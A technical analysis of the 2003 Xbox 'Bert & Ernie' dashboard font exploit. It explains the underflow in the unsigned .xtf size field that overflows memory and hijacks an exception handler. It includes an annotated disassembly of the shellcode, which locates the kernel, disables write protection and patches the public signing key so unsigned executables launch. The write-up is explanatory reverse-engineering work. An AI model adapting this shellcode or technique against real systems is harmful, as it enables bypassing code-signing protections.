Technical analyses of Free-X’s “Bert & Ernie” exploit

from The Pheonix Project

Please note that there is no guarantee that all the information in this document is correct.

This is only an educated analysis.

Also, please note that the reason for this explanation is to avoid restricting people to the Xbox Linux System. Using this information, other legitimate executables can be run on your unmodified Xbox. This allows people full interoperability with software, but without voiding the warranty. This explanation is for the sole purpose of writing interoperable software under Sect. 1201 (f) Reverse Engineering exception of the DMCA.

Introduction

The “Bert & Ernie” exploit was released on the 4th of July, 2003 by a mysterious group known as Free-X.  The rumor and controversy surrounding Free-X is beyond the scope of this document, but it suffices to say that there have been much of both.  It is believed by some that the authors of “Bert & Ernie” and the “007” hack are one and the same, or at least that the origins of the two exploits share some common roots.  Although there are similarities in the “shell code”, the underlying attacks are radically different, and the general “form” of the code would lead to suggest that the authors are not the same person.

The dash exploit itself

“Bert & Ernie” is a proof of concept exploit of a flaw in the Xbox’s “Dashboard,” which is the default ‘GUI’ of the environment.  Much of the Xbox is very secure, with many proprietary file formats utilizing multiple levels of encryption, and secure signatures, and it was often speculated that an exploit of this caliber would never be possible.  However, as it turns out, one specific set of files, the Dashboard’s .xtf (Xbox TrueType Font) format, is lacking both in security and design.  These files are not signed or validated in any manor.  They are a simple format consisting of some basic header information, and a series of structures defining the appearance of fonts in the dash.


In the header section of this file, there is a 4 byte “size” member, which specifies the size of the file including itself.  The dashboard first reads the header, subtracts the length of the header from this size, allocates to fit a file of this size, and reads that number of bytes into the allocated block.  Because the size variable includes itself, values of 0, 1, 2 or 3 will cause an underflow condition when the size of the size variable itself is subtracted.  The dashboard will then allocate only 0-3 bytes of memory, and attempt to read up to several gig into it, overwriting large sections of memory.


Enter Bert and his ‘very close friend’ Ernie

The exploit consists of 2 font files, bert.xtf and ernie.xtf.  They are designed to replace the default font files XBox.xtf and Xbox Book.xtf on the xbox system partition.  It appears that the very small Bert is designed to be loaded first.  Bert utilizes the buffer overflow to overwrite the SEH address of a nearby thread with a pointer into the memory space where ernie should be loaded.  The SEH is a pointer to an address of code space that is to be called when a thread generates an exception.  It is the compiler version of the "catch" block in a try/catch statement.  When Ernie is loaded, approximately 7 megabytes of the dash are overwritten alternating with the bytes 0xEB and 0x0E, followed by the actual functional code.  Together, these 2 bytes form the “jmp $+10h” Instruction.  This large “jump block” being written to memory by the kernel’s file io functions at the request of the dash is what bernie has modified the SEH to (hopefully) point into.  Because the Dash's space in memory has now been so brutally altered, one of it's threads will inevitably generate an exception, which will cause a jump into the jump block.  This thread will then follow the series of jump commands through the entire jump block, after which it will enter the actual “Shell Code.”  This buffer overflow exploit technique has been referred to as a “Thread Collision,” as the kernel thread is inadvertently manipulating the SEH of a process thread, and silmultaniously causing that, or another, thread to generate an exception, in one fell swoop.


Ernie’s Meat

The “meat” of the Ernie code is, unlike the 007 exploit, not obfuscated in any way.  Let’s dive right in to a dissasembly, starting just after the tail end of the jump block.


;;;;big ol jump block before this removed for clarity

;;;;;The start of the real code.  This will get entered at a variety of places, depending upon

;;;;;where exactly the ip ended up.

;;;;;This seems to just diddle


                       
dec        eax

                        inc         eax

                        dec        edx

                        inc         ecx

                        inc         eax

                        inc         eax

                        dec        ecx

                        inc         eax

                        dec        ebx

                        dec        eax

                        inc         ecx

                        inc         eax

                        dec        ebx

                        dec        ecx

                        inc         ebx

                        inc         eax

                        dec        ecx


This section of code ultimately doesn’t do anything.  It is only there because it is uncertain where, exactly, the dash thread’s instruction pointer will end up in the jump block, and because the jump block skips forward  16 bytes at a time, 16 meaningless, single-byte opcode instructions are placed so that the thread enters the REAL code cleanly, at the same spot, regardless.


;;;standard stack frame fix into register

setupstack :


                       
push      eax

                        push      eax

                        mov       ebx, esp


;;;store the interrupt table


getints
:

                        sidt        qword ptr [ebx]


;;grab the handler for int (2? Single step??)


grabinttwo
:


                       
inc         ebx

                        inc         ebx

                        mov       eax, [ebx]

                        pop        ebx

                        pop        ebx

                        mov       esi, [eax+4]

                        mov       si, [eax]

                        jmp        short fixaddr


The next section of code first sets up bx to point to the thread’s stack space.  Any data already on the thread’s stack is now meaningless, as we don’t plan on returning to the original dash code at any point.  It then asks the cpu to store the interrupt vector table in the bit of memory that was once the stack, and uses that table to find the address of what I believe is the handler for system interrupt 2, which is the “single step” interrupt.  This interrupt is called after every instruction executes, to allow the kernel to do multitasking, so it is a good, reliable way to get an estimate as to where the kernel is in memory.  This is very different from how the 007 exploit proceeds to do this, especially in the next part.

;;loop to find the kernel

;;starts from the interrupt handler and works backwards looking for

;;'MZ' or 'ZM', this will be the start of the kernel.


findk
:                           


                       
mov       ax, [esi]


isitk
:


                       
cmp       ax, 'MZ'

                        jz           short check1

                        cmp       ax, 'ZM'

                        jz           short check1


retry
:                           


                       
sub       esi, 1000h


fixaddr
:                        


                       
and       esi, 0FFFFF000h

                        jmp        short findk


The address that was found in the previous section is then adjust so that its 3 lowest order nibbles are zeroed.  This ensures that we check along the proper boundaries for the start of the kernel.  This code then searches “backwards” through memory, as it would make sense that the start of the kernel comes “before” its actual contents (the interrupt handler.)  On each iteration, esi is decremented by 1000h (the boundary the kernel should be found on), and this location is then read to determine if it contains the bytes ‘MZ’ or ‘ZM’ which would designate the start of the kernel.  Also, on each iteration, the search address again has it’s 3 lowest order nibbles zeroed, to keep the search along the proper boundary.  Upon initial examination, this may seem redundant and unnecessary, but it has been assured by people more knowledgeable then myself that this is, indeed, necessary.


;;check the header to make sure


check1:


                       
mov       eax, [esi+3Ch]

                        cmp       eax, 0FFFh

                        ja          short retry

                        mov       edi, eax

                        add       edi, esi

                        mov       eax, [edi]


;;check and make sure it has a PE header


checkpe
:


                       
cmp       eax, 'EP'

                        jnz         short retry

                        mov       eax, [edi+78h]

                        lea        edi, [esi+eax]


After the loop exits, this section of code is entered.  Its duty is twofold, first to ensure that what we found is actually the kernel, and to find the PE header and the export table it contains.  It does this my grabbing a word at offset 3Ch into the kernel.  As a proper Microsoft kernel is really just a PE format executable (.exe) file, this byte should contain an offset within this “file” to the start of the PE header.  If the byte at this location does not pass a simple sanity check, execution is returned to the above loop to continue searching for the real kernel.  If it does pass this sanity check, it is used to calculate a pointer to where the PE header should be located.  A word is grabbed from this location, and compared against the word ‘EP.’  Fixing the endian on this word obviously yields PE, representing the start of the PE header.  If this header is not found, execution is passed back to the above loop to continue searching.  Again, a word is grabbed from a specific offset.  In this case, the offset is 78h bytes from the top of the PE header.  This will contain an offset into the kernel where the export table should be located.


                        call       $+5

;;store ip in bp (to reference data below)

getip :

                        pop        ebp


;;this finds 2 exports in the pe header, HalWriteSMBusValue and XePublicKeyData

findexp :

                        lea        edx, [ebp+(offset smb - offset getip)]

                        mov       ecx, [edi+10h]

                        mov       edi, [edi+1Ch]

                        lea        edi, [esi+edi]

getexp :

                        mov       eax, [edx]

findaddr :

                        or         eax, eax

                        jz           short findkey

                        sub       eax, ecx

                        shl         eax, 2

                        mov       eax, [edi+eax]

                        or         eax, eax

                        jz           short storeaddr

                        add       eax, esi

storeaddr :

                        mov       [edx], eax

                        inc         edx

                        inc         edx

                        inc         edx

                        inc         edx

                        jmp        short getexp

;;;;some data for use various places

path                   db '\Device\Harddisk0\Partition2',0

file                     db 'default.xbe',0

smb                   dd 32h

key                    dd 163h

                        dd 0


This block of code first uses a simple push/pop trick to get the current ip into bp.  This is done so that it is easy to reference the data at the end of this section of code.  It then grabs data starting at smb, which contains an ordinal number for the HalWriteSMBusValue kernel export, follows the export table to determine the actual exported address for this ordinal, and stores that address back at the original location of the ordinal.  It will loop through a list of ordinals, starting at smb, continuing to find the actual exports in this fashion, until it hits an ordinal of 0, in this case only also finding the XePublicKeyData export.


;;this finds the key in memory, based upon the export grabbed above

;;it also determines which method to write with

findkey :

                        mov       ebx, [ebp+(offset key - offset getip)]

                        or         ebx, ebx

                        jz           short alternatekeycopy

                        cmp       dword ptr [ebx], 31415352h

                        jnz         short alternatekeycopy

                        cmp       dword ptr [ebx+10h], 10001h

                        jnz         short alternatekeycopy


This finds the key in memory from the previously retrieved export, and determines which method to use to modify the key, in order to be compatible with different bios versions.


;;;disable write protect

disablewp :

                        cli

                        mov       ecx, cr0

                        and       ecx, 0FFFEFFFFh

                        mov       cr0, ecx

;;prepare for key manipulation

setupkeycopy :

                        mov       dword ptr [ebx+10h], 3

                        mov       esi, ebx

;;manipulate key

copykey :                      

                        lodsd

                        sub       esi, 3

                        cmp       eax, 0A44B1BBDh

                        jnz         short copykey

                        xor        dword ptr [esi-1], 2DD78BD6h

;;re-enable write protect

enablewp :

                        or         ecx, 10000h

                        mov       cr0, ecx

                        sti

                        jmp        short ledchange

;;second method of manipulation

alternatekeycopy :         

                       

                        mov       ebx, esi

;;find the key

findkeyb :          

                        inc         ebx

                        cmp       dword ptr [ebx], 31415352h

                        jnz         short findkeyb

                        cmp       dword ptr [ebx+10h], 10001h

                        jz           short disablewpb

                        cmp       dword ptr [ebx+10h], 3

                        jnz         short findkeyb

;;disable write protect

disablewpb :      

                        cli

                        mov       ecx, cr0

                        and       ecx, 0FFFEFFFFh

                        mov       cr0, ecx

;;setup for manipulation

setupkeycopyb :

                        mov       dword ptr [ebx+10h], 3

                        mov       esi, ebx

;;do it to it

copykeyb :

                        lodsd

                        sub       esi, 3

                        cmp       eax, 0A44B1BBDh

                        jnz         short copykeyb

                        xor        dword ptr [esi-1], 2DD78BD6h

;;re-enable write protect

enablewpb :

                        or         ecx, 10000h

                        mov       cr0, ecx

                        sti


This rather long section of code simply changes the key, by disabling the write protect (protected mode), changing the user exponent to 3, and xoring a section of the key with 2DD78BD6h in order to make it easily factorable.  It is assumed that changing the exponent to three was done to confuse people attempting to easily generate their own singing utilities, a la 007.  Write protect is then re-enabled.


;;change the led flashing

ledchange :

                        mov       edi, [ebp+(offset smb - offset getip)]

                        push     0A0h ; ' '

                        push     0

                        push     8

                        push     20h ; ' '

                        call        edi

                        push     1

                        push     0

                        push     7

                        push     20h ; ' '

                        call        edi


This simply uses the export found earlier to write to the smbus in order to change the LED blinking pattern to a red flash.  It is assumed that this is only done for effect, although it seems like a lot of trouble to go through (writing a general “export finding” routine) for effect, especially in such straightforward code.  It has been speculated by some that this was only done to demonstrate how to call into the kernel from within exploit code, to help people who wish to further expand upon these sorts of exploits.


;;prepare stack for xbe launch

preparestack :

                        push     0

                        push      esp

                        push     0

                        push     2

;;push path

pathonstack :

                        lea        eax, [ebp+(offset path - offset getip)]

                        push      eax

;;push xbe

fileonstack :

                        lea        eax, [ebp+(offset file - offset getip)]

                        push      eax

                        mov       esi, 10010h


Here, the exploit is simply preparing the stack for a call to launch the actual xbe.  It pushes references to the path and filename defined earlier onto the stack.


;;find the launcher code

findjumppoint :

                        inc         esi

                        cmp       dword ptr [esi], 20A164h

                        jnz         short findjumppoint

                        cmp       dword ptr [esi+6], 250808Bh

                        jnz         short findjumppoint

                        cmp       dword ptr [esi+10h], 26A006Ah

                        jnz         short findjumppoint

                        mov       al, [esi-2]

                        and       al, 0F0h

                        cmp       al, 70h  ; 'p'

                        jnz         short findjumppoint

                        cmp       byte ptr [esi-9], 0E8h ; 'č'

                        jnz         short findjumppoint

;;narrow down to the exact start, and call it

findexact :                                 

                        dec        esi

                        cmp       dword ptr [esi], 0FFEC8B55h

                        jnz         short findexact

                        call        esi

;;should the xbe ever return, infinite loop

infinite :            

                        jmp        short infinite


This is the only part of the exploit that is not completely straightforward.  It would appear that it is searching through the remnants of the dashboard’s code to find a specific bit of code that will launch the xbe, and then calling into this code.  It has been speculated as to why this technique was used over other, more commonly used techniques, but one can never be sure.  Some of the more common theories are that it was done to avoid messy remapping of D, or strange, unreliable kernel interactions.

Should the call into the launcher code ever return, the exploit will simply drop into an infinite loop, to keep any junk data after the exploit from being executed.